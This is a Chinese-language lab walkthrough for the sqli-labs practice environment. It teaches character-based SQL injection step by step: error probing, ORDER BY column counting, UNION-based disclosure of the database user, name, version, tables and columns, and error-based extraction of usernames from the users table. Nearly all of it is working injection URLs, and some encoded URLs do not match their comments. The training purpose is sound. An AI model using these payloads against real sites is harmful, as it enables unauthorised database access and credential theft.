一、预备知识
1. SQL注入基础知识
2. SQL语句基础知识
二、实验目的
学习SQL注入之字符型注入。
三、实验工具
火狐浏览器(hackbar插件)
四、实验环境
1. Windows Server 2003
2. 网址www.any.com/sqli/Less-1/?id=1
五、实验步骤
第一步:访问
http://www.any.com/sqli/Less-1/?id=1 #页面正常
第二步:加入单引号,访问
http://www.any.com/sqli/Less-1/?id=1' #会报错
第三步:判断列数。(通过二分法)
1)输入:
http://www.any.com/sqli/Less-1/?id=1' and 1=1
2)输入:
http://www.any.com/sqli/Less-1/?id=1' and 1=1 %23
3)输入:
http://www.any.com/sqli/Less-1/?id=1' and 1=2 %23
4)输入:
http://www.any.com/sqli/Less-1/?id=1%27%20order%20by%2010%23 #等价于 http://www.any.com/sqli/Less-1/?id=1' order by 10 %23
提示 Unknown column '10' in 'order clause'
,说明小于10列。
5)输入:
http://www.any.com/sqli/Less-1/?id=1%27%20order%20by205%23 #等价于 http://www.any.com/sqli/Less-1/?id=1' order by 5 %23
提示 Unknown column '5' in 'order clause'
,说明小于5列。
6)输入:
http://www.any.com/sqli/Less-1/?id=1%27%20order%20by203%23 #等价于 http://www.any.com/sqli/Less-1/?id=1 order by 3 %23
页面正常,说明大于等于3列。
7)输入:
http://www.any.com/sqli/Less-1/?id=1%27%20order%20by204%23 #等价于 http://www.any.com/sqli/Less-1/?id=1 order by 4 %23
提示 Unknown column '4' in 'order clause'
,说明小于4列,结合上面的可以确定有3列。
第四步:查看显错点
http://www.any.com/sqli/Less-1/?id=1' and 1=2 union select 11,22,33 %23
显错点在第二个和第三个位置。
第五步:查看用户信息、数据库名称、MySQL版本信息
http://www.any.com/sqli/Less-1/?id=1' and 1=2 union select 11,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),33 %23
第六步:查看 security
数据库中所有表
http://www.any.com/sqli/Less-1/?id=1' and 1=2 union select 1,2,unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema='security' %23
得到所有的表:emails
,referers
,uagents
,users
第七步:查看 users
表中所有列
http://www.any.com/sqli/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23
得到所有的列:id
,username
,password
第八步:查看所有列的值
1)输入:
http://www.any.com/sqli/Less-5/?id=1' union select 1,count(*),concat((select username from security.users limit 0,1),0x3e,floor(rand()*2))a from information_schema.tables group by a%23
出现如下界面,表示输入的内容没有问题:
多次点击 Execute
按钮(或者直接刷新浏览器),会出现如下界面:
2)输入:
http://www.any.com/sqli/Less-5/?id=1' union select 1,count(*),concat((select username from security.users limit 1,1),0x3e,floor(rand()*2))a from information_schema.tables group by a%23
出现如下界面,表示输入的内容没有问题:
多次点击 Excute
按钮刷新(或者直接刷新浏览器),会出现如下界面: